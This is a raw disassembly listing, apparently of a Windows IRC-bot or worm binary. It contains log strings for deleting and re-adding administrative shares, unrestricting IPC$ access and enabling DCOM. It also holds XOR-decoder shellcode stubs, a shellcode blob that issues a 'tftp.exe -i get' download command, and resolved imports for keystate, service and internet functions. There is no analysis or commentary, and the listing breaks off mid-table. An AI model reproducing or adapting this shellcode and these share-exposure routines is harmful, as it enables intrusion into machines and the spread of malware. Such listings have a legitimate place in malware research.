2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_437854 db 2 ; DATA XREF: sub_414500+2D1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 10h unk_437890 db 2 ; DATA XREF: sub_414500:loc_41476Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 10h unk_4378D0 db 2 ; DATA XREF: sub_414500+263o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 4 unk_437908 db 2 ; DATA XREF: sub_414500:loc_4146DAo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 4 unk_437948 db 2 ; DATA XREF: sub_414500+1D3o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 10h unk_437980 db 2 ; DATA XREF: sub_414500:loc_414632o ; sub_414826:loc_414954o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 8 unk_4379C8 db 2 ; DATA XREF: sub_414500:loc_41462Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 unk_437A18 db 2 ; DATA XREF: sub_414500:loc_414613o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 10h unk_437A60 db 2 ; DATA XREF: sub_414500+10Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 10h aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_414500+EDo ; sub_414826+EDo align 8 unk_437AC8 db 2 ; DATA XREF: sub_414500+91o ; sub_414826+91o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 4 dword_437B0C dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: sub_414500:loc_414573o dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6964204Dh dd 6C626173h, 2E6465h unk_437B3C db 2 ; DATA XREF: sub_414500+6Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_414500+54o ; sub_414826+54o align 10h word_437B80 dw 4Eh ; DATA XREF: sub_414500+38r align 4 unk_437B84 db 2 ; DATA XREF: sub_414826+2C5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesA db ' Network shares added.',0 align 4 aC_2 db '%c:\',0 ; DATA XREF: sub_414826+22Fo align 4 aC_3 db '%c$',0 ; DATA XREF: sub_414826+21Eo unk_437BC8 db 2 ; DATA XREF: sub_414826:loc_4149D3o ; sub_414826:loc_414A9Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 4 unk_437C04 db 2 ; DATA XREF: sub_414826+1A6o ; sub_414826+271o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 4 unk_437C38 db 2 ; DATA XREF: sub_414826:loc_41494Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 4 unk_437C88 db 2 ; DATA XREF: sub_414826:loc_414935o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 unk_437CD0 db 2 ; DATA XREF: sub_414826+108o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 dword_437D20 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: sub_414826:loc_414899o dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6E65204Dh dd 656C6261h, 2E64h unk_437D50 db 2 ; DATA XREF: sub_414826+6Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aEnableDcomFail db ' Enable DCOM failed.',0 align 4 word_437D88 dw 59h ; DATA XREF: sub_414826+38r align 10h loc_437D90: ; DATA XREF: sub_414CD9+BEo jmp short loc_437D94 ; --------------------------------------------------------------------------- loc_437D92: ; CODE XREF: seg001:loc_437D94p jmp short loc_437D99 ; --------------------------------------------------------------------------- loc_437D94: ; CODE XREF: seg001:loc_437D90j call loc_437D92 loc_437D99: ; CODE XREF: seg001:loc_437D92j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_437D9E dw 0FFFFh ; DATA XREF: sub_414CD9+C6w db 80h, 73h, 0Eh byte_437DA3 db 0FFh ; DATA XREF: sub_414CD9+CDw dd 0F9E243h ; --------------------------------------------------------------------------- loc_437DA8: ; DATA XREF: sub_414CD9+9Co jmp short loc_437DAC ; --------------------------------------------------------------------------- loc_437DAA: ; CODE XREF: seg001:loc_437DACp jmp short loc_437DB1 ; --------------------------------------------------------------------------- loc_437DAC: ; CODE XREF: seg001:loc_437DA8j call loc_437DAA loc_437DB1: ; CODE XREF: seg001:loc_437DAAj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_437DB5 db 0FFh ; DATA XREF: sub_414CD9+A4w dw 7380h db 0Ch byte_437DB9 db 0FFh ; DATA XREF: sub_414CD9+AAw dw 0E243h dd 0F9h dword_437DC0 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_414B62+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_437E24 dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_414B62+79o aJ_0 db 'j',0 db 0E8h dword_437E3D dd 17h ; --------------------------------------------------------------------------- jnz short near ptr byte_437E44 retn ; --------------------------------------------------------------------------- byte_437E44 db 0E8h ; CODE XREF: seg001:00437E41j dword_437E45 dd 1 byte_437E49 db 0, 6Ah, 0 ; DATA XREF: sub_414B62+C2o dd 7E8h db 0, 0Fh, 84h dword_437E53 dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_414E97+10o aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_415062+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_415062+35o dword_437ED4 dd 0BB07A3h align 10h dword_437EE0 dd 173Fh dd 9875h, 9873h off_437EEC dd offset sub_415DD3 ; DATA XREF: sub_41781Ar dd offset nullsub_2 dd offset nullsub_2 dword_437EF8 dd 1B3Fh dword_437EFC dd 19930520h, 4 dup(0) ; sub_4162D6+2o off_437F10 dd offset sub_417858 ; DATA XREF: sub_417C0E+1Cr dword_437F14 dd 2 ; sub_41D7B5+46r ... off_437F18 dd offset aNull_0 ; DATA XREF: sub_417D6C:loc_4180D0r ; sub_417D6C+457r ; "(null)" off_437F1C dd offset aNull ; DATA XREF: sub_417D6C+259r ; "(null)" off_437F20 dd offset word_437F2A ; DATA XREF: sub_4157F4+23r ; sub_4157F4:loc_415855r ... dd offset word_437F2A db 2 dup(0) word_437F2A dw 20h ; DATA XREF: sub_41EF5D+18r ; seg001:off_437F20o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43812C dd 1 ; sub_4157F4:loc_415840r ... byte_438130 db 2Eh ; DATA XREF: sub_41A7A3:loc_41A7E3r ; sub_41A7FD+4r ... align 4 dd 1, 10h, 0 off_438140 dd offset off_438140 ; DATA XREF: sub_4197BC+Do ; sub_4197BC+69o ... off_438144 dd offset off_438140 ; DATA XREF: sub_4197BC:loc_41983Cr ; sub_4197BC+89w ... dd offset dword_438158 dd offset dword_438158 dword_438150 dd 0FFFFFFFFh ; sub_419900:loc_41994Dw dd 0FFFFFFFFh dword_438158 dd 0F0h, 0F1h, 800h dup(0) ; seg001:0043814Co off_43A160 dd offset off_438140 ; DATA XREF: sub_419900+15r ; sub_419900+20w ... dword_43A164 dd 1E0h ; sub_41737F+185r ... dword_43A168 dd 14h off_43A16C dd offset aExp ; DATA XREF: sub_41A4EC:loc_41A509r ; "exp" dd 1Dh, 4217D4h, 1Ah, 4217D0h, 1Bh, 4217C8h, 1Fh, 4217C0h dd 13h, 4217B8h, 21h, 4217B0h, 0Eh, 4217A8h, 0Dh, 4217A0h dd 0Fh, 421798h, 10h, 421790h, 5, 421788h, 1Eh, 421784h dd 12h, 421780h, 20h, 42177Ch, 0Ch, 421774h, 0Bh, 42176Ch dd 15h, 421764h, 1Ch, 42175Ch, 19h, 421754h, 11h, 42174Ch dd 18h, 421744h, 16h, 42173Ch, 17h, 421734h, 22h, 421730h dd 23h, 42172Ch, 24h, 421728h dbl_43A240 dq 1.797693134862316e308 ; DATA XREF: sub_41A227+B7r ; sub_41A227:loc_41A30Er ... dd 0 dd 0FFF80000h dbl_43A250 dq 1.797693134862316e308 ; DATA XREF: sub_41A227+92r ; sub_41A227:loc_41A2E6r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43A268 dt 2.3562723457267347066e313 ; DATA XREF: sub_41A6D4+Dr ; sub_41A6D4+1Fr align 4 tbyte_43A274 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41A6D4+31r align 10h off_43A280 dd offset sub_41AB68 ; DATA XREF: sub_415DEB+Fw ; sub_417D6C+3AAr off_43A284 dd offset sub_41A7FD ; DATA XREF: sub_415DEB+5w ; sub_417D6C+3E2r off_43A288 dd offset sub_41A863 ; DATA XREF: sub_415DEB+14w ; sub_41B605+430r off_43A28C dd offset sub_41A7A3 ; DATA XREF: sub_415DEB+1Ew ; sub_417D6C+3CBr off_43A290 dd offset sub_41A84B ; DATA XREF: sub_415DEB+28w off_43A294 dd offset sub_41AB68 ; DATA XREF: sub_415DEB+32w dd offset sub_41E79E align 10h dd offset sub_41B42C off_43A2A4 dd offset sub_41B42C ; DATA XREF: sub_41B482+29r dword_43A2A8 dd 0D2D0920h, 5Dhdword_43A2B0 dd 5Dh, 0 byte_43A2B8 db 1 ; DATA XREF: sub_41C85D+E1r db 2, 4, 8 align 10h dword_43A2C0 dd 3A4h dword_43A2C4 dd 82798260h, 21h, 0dword_43A2D0 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43A3B0 dd 1 ; sub_41CE74+Co dword_43A3B4 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43A518 dd 0C0000005h ; sub_41D01C+Ar ... dword_43A51C dd 0Bh dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43A590 dd 3 ; sub_41FB6B+C8r dword_43A594 dd 7 ; sub_41FB6B+CDr dword_43A598 dd 0Ah ; sub_41FC98+4r dword_43A59C dd 8Ch ; sub_41CEDB+8Fw ... dword_43A5A0 dd 0FFFFFFFFh, 0A00h ; sub_41C178:loc_41C1F9o dword_43A5A8 dd 2 ; sub_41D7B5+28r off_43A5AC dd offset aR6002FloatingP ; DATA XREF: sub_41D7B5+FCr ; sub_41D7B5+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 421AF4h, 9, 421AC8h, 0Ah, 421AA4h, 10h, 421A78h dd 11h, 421A48h, 12h, 421A24h, 13h, 4219F8h, 18h, 4219C0h dd 19h, 421998h, 1Ah, 421960h, 1Bh, 421928h, 1Ch, 421900h dd 78h, 4218F0h, 79h, 4218E0h, 7Ah, 4218D0h, 0FCh, 426A30h dd 0FFh, 4218C0h off_43A638 dd offset dword_46B940 ; DATA XREF: sub_41D7B5+1Bo ; sub_41D972+55o align 10h dd offset dword_46B940 dd 101h dword_43A648 dd 0FFFFFFFFh, 0 dd 1000h, 0 dword_43A658 dd 3 dup(0) ; sub_4187D6+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43A678 dd 3 dup(0) ; sub_4187D6:loc_4187F4o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43A6A8 dd 84h dup(0) dword_43A8B8 dd 2694h ; sub_419EDC+46r ... align 10h dword_43A8C0 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_43A8D8 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_43A8F0 dd 7080h ; sub_41EA02+5Ew ... dword_43A8F4 dd 1 ; sub_41EA02+8Bw ... dword_43A8F8 dd 0FFFFF1F0h ; sub_41EA02+94w ... dword_43A8FC dd 545350h, 0Fh dup(0)dword_43A93C dd 544450h, 0Fh dup(0)off_43A97C dd offset dword_43A8FC ; DATA XREF: sub_41EA02+BAr ; sub_41EA02+D9r ... off_43A980 dd offset dword_43A93C ; DATA XREF: sub_41EA02+F4r ; sub_41EA02+11Br ... align 8 dword_43A988 dd 0FFFFFFFFh ; sub_41EC60+1Er ... dword_43A98C dd 0 ; sub_41EE0C+BFw dword_43A990 dd 0 ; sub_41EE0C+E0w align 8 dword_43A998 dd 0FFFFFFFFh ; sub_41EC60+26r ... dword_43A99C dd 0 ; sub_41EE0C+EAw ... dword_43A9A0 dd 0 ; sub_41EE0C+23r ... dword_43A9A4 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43A9D4 dd 16Dh ; sub_41EE0C+2Er ... dword_43A9D8 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43AA10 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43AB70 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_41FFF0+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_43ACD0 dd offset off_421CE8 ; DATA XREF: seg001:off_421D10o ; seg001:00421E3Co ... align 8 a_?avexception@ db '.?AVexception@@',0 off_43ACE8 dd offset off_421CE8 ; DATA XREF: seg001:off_421D28o ; seg001:00421DBCo ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43AD08 dd offset off_421CE8 ; DATA XREF: seg001:off_421D40o ; seg001:00421D84o ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_43AD28 dd offset off_421CE8 ; DATA XREF: seg001:off_421DC8o ; seg001:00421E0Co ... align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43AD48 dd offset off_421CE8 ; DATA XREF: seg001:off_421E48o ; seg001:00421E84o align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_41E79E align 8 byte_43AD68 db 0 ; DATA XREF: sub_401444+1C1w ; sub_401444+2C0o align 2 word_43AD6A dw 0 ; DATA XREF: sub_401444+1D1w word_43AD6C dw 0 ; DATA XREF: sub_401444+1D7w word_43AD6E dw 0 ; DATA XREF: sub_401444+1DEw byte_43AD70 db 0 ; DATA XREF: sub_401444+1E5w byte_43AD71 db 0 ; DATA XREF: sub_401444+1ECw word_43AD72 dw 0 ; DATA XREF: sub_401444+1F2w dword_43AD74 dd 0 ; sub_401444+23Ew dword_43AD78 dd 0 byte_43AD7C db 0 ; DATA XREF: sub_401444+258w byte_43AD7D db 0 ; DATA XREF: sub_401444+26Bw word_43AD7E dw 0 ; DATA XREF: sub_401444+283w word_43AD80 dw 0 ; DATA XREF: sub_401444+292w word_43AD82 dw 0 ; DATA XREF: sub_401444+28Aw dword_43AD84 dd 100h dup(0) dword_43B184 dd 0 byte_43B188 db 0 ; DATA XREF: sub_402FCD+36r ; sub_4030B0+37r ... align 4 dword_43B18C dd 7A5h ; sub_4036D2+30r ... dword_43B190 dd 2 dup(0) dword_43B198 dd 0 ; sub_40CD3A+5B16o ... dword_43B19C dd 0 ; sub_40597F+51r ... dword_43B1A0 dd 0 ; seg001:0040491Br ... align 8 dword_43B1A8 dd 0 ; sub_407592+92w ... dword_43B1AC dd 0 ; sub_4078DF+D9w ... dd 256h dup(0) dword_43BB08 dd 6 dup(0) ; sub_4076CB+129o ... dword_43BB20 dd 0 ; sub_4071B6+FFo dword_43BB24 dd 41h dup(0) dword_43BC28 dd 41h dup(0) dword_43BD2C dd 0 ; sub_4071B6+111r dword_43BD30 dd 0 dword_43BD34 dd 0 ; sub_4071B6+D2r dword_43BD38 dd 20h dup(0) ; sub_4071B6+B7o dword_43BDB8 dd 0 dword_43BDBC dd 0 ; sub_4071B6+C1w dword_43BDC0 dd 0 align 8 dword_43BDC8 dd 0 ; sub_4071B6+32Eo dword_43BDCC dd 0A2h dup(0) dword_43C054 dd 41h dup(0) dword_43C158 dd 0 ; sub_4071B6+2E1r align 10h dword_43C160 dd 0 ; sub_4071B6+340r dword_43C164 dd 0 dword_43C168 dd 0 dword_43C16C dd 0 dd 0 dword_43C174 dd 0 dword_43C178 dd 0 ; sub_4071B6+222o dword_43C17C dd 41h dup(0) dword_43C280 dd 41h dup(0) dword_43C384 dd 0 ; sub_4071B6+234r dword_43C388 dd 0 dword_43C38C dd 0 dword_43C390 dd 20h dup(0) ; sub_4071B6+1DAo dword_43C410 dd 0 dword_43C414 dd 0 ; sub_4071B6+1E4w dword_43C418 dd 0 dword_43C41C dd 77F16E6Fh ; resolved to->GDI32.DeleteDC ; sub_40891C+4CDr dword_43C420 dd 7C864230h ; resolved to->KERNEL32.Module32First ; sub_413C50+EEr dword_43C424 dd 42C5AE03h ; resolved to->WININET.InternetGetConnectedStateExA ; sub_40891C+862r ... dword_43C428 dd 5B894364h ; sub_40891C+A18r ... dword_43C42C dd 5B86FEB8h ; sub_40891C+9E8r ... dword_43C430 dd 77F15B80h ; resolved to->GDI32.SelectObject ; sub_40891C+4BDr dword_43C434 dd 7E41C505h ; resolved to->USER32.GetKeyState ; sub_4021FB+108r ... dword_43C438 dd 5B894160h ; sub_40891C+A10r ... dword_43C43C dd 77DEB88Ch ; resolved to->ADVAPI32.OpenServiceA ; sub_40891C+3A9r ... dword_43C440 dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameA ; sub_40A9D8+11Er dword_43C444 dd 77DF3238h ; resolved to->ADVAPI32.StartServiceA ; sub_40891C+3B1r ... dword_43C448 dd 77DFCF32h ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_413248+ADr dword_43C44C dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSet ; sub_40840A+76r ... dword_43C450 dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_40891C+D2r ... dword_43C454 dd 5B86FDE8h ; sub_40891C+9DBr ... dword_43C458 dd 77DE5E4Dh ; resolved to->ADVAPI32.CloseServiceHandle ; sub_40891C+3C9r ... dword_43C45C dd 42C41384h ; resolved to->WININET.InternetCrackUrlA ; sub_40891C+88Er ... dword_43C460 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_40891C+2A5w ... dword_43C464 dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlA ; sub_40891C+886r ... dword_43C468 dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequencydword_43C46C dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_40891C+896r ... dword_43C470 dd 71AC0979h ; resolved to->WS2_32.WSAAsyncSelect ; sub_40891C+52Fw ... dword_43C474 dd 7C863F58h ; 